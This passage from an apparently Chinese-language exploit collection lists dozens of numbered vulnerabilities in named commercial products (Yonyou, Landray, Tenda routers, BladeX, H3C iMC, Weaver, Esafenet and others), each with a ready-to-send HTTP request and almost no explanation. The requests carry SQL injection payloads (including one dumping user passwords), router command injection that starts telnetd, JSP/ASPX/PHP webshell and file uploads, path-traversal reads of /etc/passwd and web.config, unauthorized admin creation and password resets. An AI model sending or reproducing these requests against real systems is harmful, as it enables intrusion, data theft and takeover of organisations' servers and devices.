Cookie: zhzbsessionname=35FF312409BF3CAC561D5BC776643A05
Content-Type: multipart/form-data;boundary=--------------------------WebKitFormBoundaryxegqoxxi

---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data;name="file";filename="../../../../../../../../../../../../java/fh/tomcat
_fhxszsq/LiveBos/FormBuilder/
feed/jsp/vtnifpvi.jsp"
Content-Type: image/jpeg

GIF89a    123123123
---WebKitFormBoundaryxegqoxxi--
```

126.用友 NC 系统 complainjudge 接口 SQL 注入漏洞

```
POST /ebvp/advorappcoll/complainjudge HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

pageId=login&pk_complaint=11%27;WAITFOR%20DELAY%20%270:0:5%27--
```

127.蓝凌 EIS 智慧协同平台 frm_form_list_main.aspx SQL 注入

```
GET /frm/frm_form_list_main.aspx?list_id=1%20and%201=@@version--+ HTTP/1.1
Host: x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

128.蓝凌 EIS 智慧协同平台 fl_define_flow_chart_show.aspx SQL 注入

```
GET /flow/fl_define_flow_chart_show.aspx?id=1%20and%201=@@version--+ HTTP/1.1
Host: x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

129.Tenda FH1201 v1.2.0.14 接口 WriteFacMac 存在远程命令执行漏洞 (CVE-2024-41473)

```
POST /goform/WriteFacMac HTTP/1.1
Host: hostname
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded

mac=;ls
```

130.Tenda FH1201 v1.2.0.14 接口 exeCommand 存在远程命令执行漏洞(CVE-2024-41468)

```
POST /goform/exeCommand HTTP/1.1
Host: hostname
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded

cmdinput=ls;
```

131.章管家印章管理系统任意文件上传漏洞

```
第一步：先要新建用户获取 cookie
POST /api/personSeal_jdy/saveUser.htm HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Cookie: sid=f12633bf-86df-4054-ae1e-4434c6c1f9f9; ZHANGIN_CHECKBOX=false;
```

ZHANGIN_MOBILE=
Priority: u=4, i
Content-Type: application/json
Content-Length: 213

{"op":{},"data":{"mobile":"13333333333","uid":"13333333333","password":"123456","name":"testuser","return_url":"https://www.baidu.com","apisecretkey":"1","_id":"1","mail_address":"111@qq.com"},"b7o4ntosbfp":"="}
第二步 通过刚才的用户登陆获取 Cookie 文件上传
POST
/seal/sealApply/uploadFileByChunks.htm?token=dingtalk_token&person_id=402881858e973787018f9570ffc7064e&chunk=1&chunks=1&guid=1 HTTP/1.1
Host:hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Gecko/20100101 Firefox/128.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: sid=58139d92-115f-4e9b-99a1-ee200a8b17a0;
ZHANGIN_CHECKBOX=false;
ZHANGIN_MOBILE=;JSESSIONID=30A3F3F324080E3B327FEB2EB82E2CB0
Content-Type: multipart/form-data;
boundary=---------------------------207841546620877116262865515242
Content-Length: 140

-----------------------------207841546620877116262865515242
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<%@ page import= "java.io.File" %>
<%
out.println("111");
String filePath = application.getRealPath(request.getServletPath());
out.println(filePath);
new File(filePath).delete();
%>
-----------------------------207841546620877116262865515242--

132.网神 SecSSL3600 任意密码重置

```
POST /changepass.php?type=2 HTTP/1.1
host:
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff;
last_step_param={""this_name"":""test"",""subAuthId"":""1""}

old_pass=&password=Test123!@&repassword=Test123!@"
```

133.用友时空 KSOA PrintZPFB.jsp SQL 注入漏洞

```
GET /kp/PrintZPFB.jsp?zpfbbh=1%27%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

134.用友时空 KSOA PrintZPYG.jsp SQL 注入漏洞

```
GET
/kp/PrintZPYG.jsp?zpjhid=1%27+union+select+1,2,db_name(1),4,5,6,7,8,9,10,11,12,13,14+--+
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

135.BladeX 企业级开发平台 notice/list SQL 注入漏洞

```
GET /api/blade-desk/notice/list?updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: bearer eyJhbGciOiJIUzI1N
```

136.BladeX 企业级开发平台 usual/list SQL 注入漏洞

```
GET /api/blade-log/usual/list?updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101
Firefox/122.0
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfa
```

137.用友时空 KSOA fillKP.jsp SQL 注入漏洞

```
GET /kp/fillKP.jsp?kp_djbh=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

138.用友时空 KSOA PrintZPZP.jsp SQL 注入漏洞

```
GET /kp/PrintZPZP.jsp?zpshqid=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

139.方天云智慧平台系统 GetSalQuatation 存在 SQL 注入漏洞

```
POST /AjaxMethods.asmx/GetSalQuatation HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close

{ID:""(SELECT CHAR(113)+CHAR(120)+CHAR(122)+CHAR(112)+CHAR(113)+(CASE WHEN
(8725=8725) THEN @@VERSION ELSE CHAR(48)
```

```
END)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(106)+CHAR(113))""}
```

140.易捷 OA 协同办公软件 ShowPic 存在任意文件读取漏洞

```
GET /servlet/ShowPic?filePath=../../windows/win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

141.D-link-DIR-600 存在命令注入

```
POST /soap.cgi?service=;telnetd -p 1337; HTTP/1.1
Host: {host}:{upnp_port}
Content-Type: text/xml
Content-Length: 100

SOAPAction: \""urn:schemas-upnp-org:service:serviceType:v#actionName""
```

142.H3C iMC 智能管理中心 /byod/index.xhtml 远程代码执行漏洞

```
POST /byod/index.xhtml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Via: whoami

javax.faces.ViewState=8SzWaaoxnkq9php028NtXbT98DEcA...Uh57HB/L8xz6eq%2b4sy0rUOuOdM
5ccd2J6LPx8c6%2b53QkrX...jpFKgVnp07bad4n6CCBW8l98QIKwByAhLYdU2VpB/voaa....2oU%2bur
ahQDFE8mIaFvmwyKOHiwyovIHCVymqKwNdWXm3iHLhYEQXL4....k3z7MWm%2bwbV2Dc9TXV4r
s8E6M7ZvVM3B0pORK8vAhd2iLBkgFhGHw9ZgOwifGnyMzfxlU....gG4chEOg57teuLurMPrulbEVBA
El7rRwobqvxb91sG%2bGMrGWFL5%2bwFvE56x7UEzHtE/o0IRtzTKi/EFnamrPT1046e7L8jABKDB/L
jCX2qAOmqQkIz4gXrEFnHHYZ9LZc7t9ZZPNT...JZjummuZuror/zwPbnsApwXlYsn2hDAZ7QlOBunA3
t7omeOTI5keWXvmOH8eoEEN//SlmQblwhBZ7kSHPvStq0ZciiPptEzVjQ/k/gU2QbCSc7yG0MFbhcJ
EDQj4yKyJ/yTnOOma....KuNzZl%2bPpEua%2b28h2YCKipVb5S/wOCrg%2bKD3DUFCbdWHQRqDaZ
yvYsc8C0X7fzutiVUlSB7OdGoCjub9WuW0d2eeDWZmOt3Wunms3SwAbE7R%2bonCRVS8tiYWF8q
```

```
iQS%2bl0k8Gw/Hz6Njpfe0upLIAtPFNDuSf69qGg4isEmY2FtoSQTdD8vU0BdJatHrBArPgo9Qsp0jSJBl
Uz2OqteQg05PYO6gEBXVj/RiTBHI1/pOzlcE0wVZcLUHnxGNvckSCTiT....nWbkWGJ8AYCvrM0PHZ/B
YcKKRf3rMHoIqcAN%2bORMhXcmAXRcvq29c5xqoOuvrMSJPDZmbZhcm/99crGJSO5HxXQder9WK
m2tVBaDLEC9ulpWyICJYgfxayoWkt6vwPcq2Tn20vn5RDpfqJKLNLbrV8g7JDRUUyW%2b....R6PRNu
nKhfJHvHcXAZ73mkCUf7cMUbNhqCbLSGP/D%2bqpqWXk5ZWjsT4tQ9tFH9uvPIaNB7FlcFXI2I2A9o
PoY0ltif%2bb8BdPXVfpuZq8boHE4hY%2b33Bll%2bIa%2bov6nyMmGIzCKYeRbfDJtk/45EXvink6BIg
A/205la6vvqKTGQ32o1AtepBgKei....604cVvbEP7UKor09Gz61mryE4D%2biXG1prZGCT3LEtdASuCk
mf4RTEc5wks2In3ElZSZl8zf3RsHA0dgbvrpnXe2wLPI%2bUCAGO%2biOG9/%2bbCQJQNFmykkyRb
mslfcilUxZ%2bIg%2bQuOs9FlMod2ICrkktOFFeZWNeznx737S8H4Nf2%2bp2QNHY2I6GFGtWpqjeZ
%2bGmb1euM5Tzi06eJ.......koPrjkDT9VPoxCgpRMQl06x7NShkos7BCI9fV1%2b17t5gWZvqAYzeQU
sZLaiBXaZfuUtPuBmbq1re/dB/VgSOn4QX%2b8AwwDjtfazsHw4aIdh4e2a1y/Ou2ZiI//EzkwIBksY6C
luuPgocdvtOfNiWcXsfYs3UKLmL/48A4Ls0OF1TrQK4UnfCYt.....1DGrwzfXnM9vLHznFaJenqvLY3yTiK
N5SSVxvGwvhmp6PFW4Jj7G8NXdr/zN7HyC9Eg1Y1jKP7uiO%2bGM2U/etvMOCKwnfP2MnbznP37
8fZHf1H9yiVVrn%2bm%2b0u8PV.....2MsOTgS6B7C8ItflgSfJz5dkJ8IssRAcY%2bu/2QjrW95BBMSRP
u2EaCUm1IpuszXEwHYgDizWPzDB0hSRgCEjncpGhPX3i10bK4/snBaBcAxAa1e2er2LDe/4WgaIwc9
w2wKn3wXY5B87BKF5/Xq30....NNf6EMRrQ9154rEkCJb4IU4sFsTuyYlfZatlV%2bC2HM7u7FEbdVvr
6yYK4oQqvfPmF5yRplwAYUQAvr1jwLbGYxhGaTy14UUrtvoyph5Sqebk2YTKjKX4U7xX5ha4YbyoVI
MSRzdvB6YXDY3BId%2bgmMWZtTf2UE%2b9UAx/7g30pQNXA....FP1adq6ySd4x3dGVCe4YJcYe2g
KWYVcWj5XPwUSt2fxdshzgFnjjqmRgxowH2u2nZU0xG539lnxIOlB
```

143.泛微云桥 e-Bridge addResume 任意文件上传漏洞

```
POST /wxclient/app/recruit/resume/addResume?fileElementId=111 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDOVhr5SwLI1wpry7

------WebKitFormBoundaryDOVhr5SwLI1wpry7
Content-Disposition: form-data; name="file";filename="1.jsp"

<%Runtime.getRuntime().exec(request.getParameter("i"));%>
------WebKitFormBoundaryDOVhr5SwLI1wpry7--
Content-Disposition: form-data; name="file";filename="2.jsp"

1
------WebKitFormBoundaryDOVhr5SwLI1wpry7--
```

144.赛蓝企业管理系统 GetCssFile 存在任意文件读取漏洞

```
GET /Utility/GetCssFile?filePath=../web.config HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
```

145.赛蓝企业管理系统-SubmitUploadify-任意文件上传漏洞

```
POST /EHRModule/EHR_Holidays/SubmitUploadify?FolderId=1&UserId=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/png

<%@ Page Language="C#"%><%
Response.Write(111*111);System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
```

146.网神 SecGate3600 安全网关未授权添加用户漏洞

```
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 93
Connection: close

type=saveAdmin&id=2&userName=audit&pwd=audit@1234&net=0.0.0.0&mask=0.0.0.0&port=ANY&allow=Y
```

147.易宝 OA 存在 BasicService 存在任意文件上传漏洞

```
POST /WebService/BasicService.asmx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101
Firefox/123.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
SOAPAction: http://tempuri.org/UploadBillFile
Content-Type: text/xml;charset=UTF-8
Content-Length: 521

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
    <soapenv:Header/>
    <soapenv:Body>
        <tem:UploadBillFile>
            <!--type: base64Binary-->

<tem:fs>PCVAUGFnZSBMYW5ndWFnZT0iQyMiJT4KPCUKUmVzcG9uc2UuV3JpdGUoRm9ybXNBdX
RoZW50aWNhdGlvbi5IYXNoUGFzc3dvcmRGb3JTdG9yaW5nSW5Db25maWdGaWxlKCJ0ZXN0MTIz
IiwgIk1ENSIpKTsKU3lzdGVtLklPLkZpbGUuRGVsZXRlKFJlcXVlc3QuUGh5c2ljYWxQYXRoKTsKJT4=</te
m:fs>
            <!--type: string-->
            <tem:FileName>../../manager/hello.aspx</tem:FileName>
            <!--type: string-->

<tem:webservicePassword>{ac80457b-368d-4062-b2dd-ae4d490e1c4b}</tem:webservicePassw
ord>
        </tem:UploadBillFile>
    </soapenv:Body>
</soapenv:Envelope>
```

148.邦永科技 PM2 项目管理系统存在任意文件上传漏洞

```
POST /FlowChartDefine/ExcelIn.aspx HTTP/1.1
Host:
```

Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------335518608136410266804188096265
Origin:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Cookie: ASP.NET_SessionId=hovcho2iwrxygzgkt0l2oomc

-----------------------------335518608136410266804188096265
Content-Disposition: form-data; name="__VIEWSTATE"

CX8CDdAjNN9+19sa3xOCEybpUx0hn5DnMqGQQzm1JI+njfE/pGi9oDDI5PRCH8wVs/UCahOCnHho2chhS8X5jCYrh1hzlOaS5VIl/VYxh3LhmXkQwsOYhNFmg9+ZmmilXRKT5WAN6WceP6U9c1Kqtw==
-----------------------------335518608136410266804188096265
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

FD259C0F
-----------------------------335518608136410266804188096265
Content-Disposition: form-data; name="__EVENTVALIDATION"

dvfybORq87SoxN9g6GB9Qryd4qSb5ynAZtDiE0yV2TwdNpGBHpvAVQSmjJzCuqbm/b0rSjXag7dSZXfX041XcbqxqzunkN0F88hB7kUvvb8RZ0DDlXcuuntLzH6gkJYF
-----------------------------335518608136410266804188096265
Content-Disposition: form-data; name="FileUpload1"; filename="1.zip"
Content-Type: application/x-zip-compressed

{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x009\x8d\x05Ym\xad\x18]b\x00\x00\x00c\x00\x00\x00\x06\x00\x00\x001.aspx\xb3Qu\x08HLOU\xf0I\xccK/\x052I\x95\x9c\x95\x95T\xedlT\x83R\x8b\x0b\xf2\xf3\x8aS\xf5\xc2\x8b2KR5\x942Rsr\xf2u\x02|\x8d\x944\xad\x83+\x8bKRs\xf5<\xfd\xf5\xdc2sR\xf5\\RsR\x81J\x82R\x0bKS\x8bK\xf4\x022*\x8b3\x93\x13s\x02\x12K24\xadU\xed\x00PK\x01\x02\x1f\x00\x14\x00\x00\x00\x08\x009\x8d\x05Ym\xad\x18]b\x00\x00\x00c\x00\x00\x00\x06\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x001.aspx\x0a\x00\x00\x00\x00\x00\x01\x00\x18\x00\x91\xc7Z\xb2\x1b\xe7\xda\x01\xd2\x8e\xf5\xb2\x1b\xe7\xda\x01;\xe3\xa6\x99\x1b\xe7\xda\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00X\x00\x00\x00\x86\x00\x00\x00\x00\x00")}}
-----------------------------335518608136410266804188096265
Content-Disposition: form-data; name="Button1"
模块导入

```
----------------------------335518608136410266804188096265--
```

149.普华科技 PowerPMS APPGetUser 接口处存在 SQL 注入漏洞

```
GET /APPAccount/APPGetUser?name=1%27%29%3BWAITFOR+DELAY+%270%3A0%3A5%27--
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```

150.申瓯通信在线录音管理系统/main/download 存在任意文件下载漏洞

```
GET /main/download?path=/etc/passwd HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/121.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
```

151.赛蓝企业管理系统 GetFieldJson 存在 SQL 注入漏洞

```
GET
/BaseModule/ExcelImport/GetFieldJson?tableCode=1%27+UNION+ALL+SELECT+NULL%2CNULL%
2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCHAR%28113%29%2BCHAR
%28112%29%2BCHAR%28122%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%2881%
29%2BCHAR%28119%29%2BCHAR%2888%29%2BCHAR%2899%29%2BCHAR%2865%29%2BCHA
R%28108%29%2BCHAR%28115%29%2BCHAR%2881%29%2BCHAR%2886%29%2BCHAR%2884%
29%2BCHAR%28109%29%2BCHAR%2866%29%2BCHAR%28114%29%2BCHAR%2881%29%2BCH
AR%28105%29%2BCHAR%28116%29%2BCHAR%28115%29%2BCHAR%28121%29%2BCHAR%288
```

```
5%29%2BCHAR%2878%29%2BCHAR%2867%29%2BCHAR%28103%29%2BCHAR%28118%29%2B
CHAR%28103%29%2BCHAR%2887%29%2BCHAR%28119%29%2BCHAR%28115%29%2BCHAR%2
8109%29%2BCHAR%2866%29%2BCHAR%2869%29%2BCHAR%2867%29%2BCHAR%28104%29%2
BCHAR%2889%29%2BCHAR%28111%29%2BCHAR%28103%29%2BCHAR%2878%29%2BCHAR%2
8100%29%2BCHAR%2874%29%2BCHAR%28119%29%2BCHAR%2874%29%2BCHAR%28113%29%
2BCHAR%2898%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%28113%29%2CNULL--
+cqNB HTTP/1.1
Host:
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
```

152.东北师大理想软件股份有限公司智慧教育云平台存在任意用户登录漏洞

```
GET /Account/LoginUserPersonType?userId=1 HTTP/1.1
Host:
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36

返回 200，header 包含 Set-Cookie 且 body 包含 success:true，刷新页面或允许重定向
```

153.IP 网络广播服务平台任意文件上传漏洞

```
POST /api/v2/remote-upgrade/upload HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----234561
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
```

```
Connection: keep-alive
Content-Length: 149

------234561
Content-Disposition: form-data; name="file"; filename="../aa.php"
Content-Type: application/octet-stream

234561<?php phpinfo()?>
------234561--
```

154.同享人力资源管理系统-TXEHR V15 EmployeeInfoService.asmx SQL 注入漏洞

```
POST /Service/EmployeeInfoService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetEmployeeByCardNo"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEmployeeByCardNo xmlns="http://tempuri.org/">
      <strCardNo>1' UNION ALL SELECT
NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL--</strCardNo>
    </GetEmployeeByCardNo>
  </soap:Body>
</soap:Envelope>
```

155.亿赛通电子文档安全管理系统 /CDGServer3/CDGAuthoriseTempletService1 SQL 注入漏洞

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<GetCDGAuthoriseTemplet>
<userId>SystemAdmin</userId>
```

<secretLevelId>1112233') union select USER_ID,USER_NAME,PWD,SURNAME,'','','','','','','','' from WF_USER;--</secretLevelId>
</GetCDGAuthoriseTemplet>

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<GetCDGAuthoriseTemplet>
<userId>SystemAdmin</userId>
<secretLevelId>1112233') union select USER_ID,USER_NAME,PWD,SURNAME,'','','','','','','','' from WF_USER;#</secretLevelId>
</GetCDGAuthoriseTemplet>

POST /CDGServer3/CDGAuthoriseTempletService1 HTTP/1.1
Host:
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/xml
Content-Length: 510

CGKFAICMPFGICCPHKFGGGBOMICMOKOBGPCBLKPCAHAGPFJHFABCPPKIOHIAIBJLLHJCODJMAGKBGIKDAFJHJMMKBDHABAJPBFNLBOIDFBHMMFKFHLPIAOPHEOAICJEMBCKFEIPGINHHBEGDOMEOPDKJGPNIJEDNOMEKLJHCGOJCEIPFPEDGBEHJLMNEEFIKFPGCCKCFCCOMONKACOEENLFIBAGNJBLHDNBBCNKNLDJINDOCEBFIKAEMNHAPLPHONFGFGIKIAODPKKLMDBNPGPHLNICFPMAIMFCOAAFINGBKHCKEAOMKBBALOEGJNGOJBLOJIGKKMKPIDMLCGOFIPFLMODDPOOJNJOGHNNMOJGPKBNDEBEIBACIDFMBIJCJDMGLFGCHAHGBIJONAGEOCIKHKHFCEPHONEMCMOJEALFDEKHHIGBCGPKAMKKFNOMJEEINOPOKLEGFLEBIIGAFCDAMAMBFDJPIKCGDFIFMGAFMGFFCECFMFDGJFGFIGICP

156.亿赛通电子文档安全管理系统 SaveCDGPermissionFromGFOA SQL 注入漏洞

```
POST /CDGServer3/js/../SaveCDGPermissionFromGFOA HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.2100.110 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

fileId=1';WAITFOR DELAY '0:0:5'--&pis=1
```

157.建文-工程项目管理软件-任意文件读取

```
POST /Common/DownLoad2.aspx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Content-Length: 28

path=../log4net.config&Name=
```

158.泛微 e-office 10 schema_mysql.sql 敏感信息泄露漏洞

```
GET /eoffice10/empty_scene/db/schema_mysql.sql HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=
0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
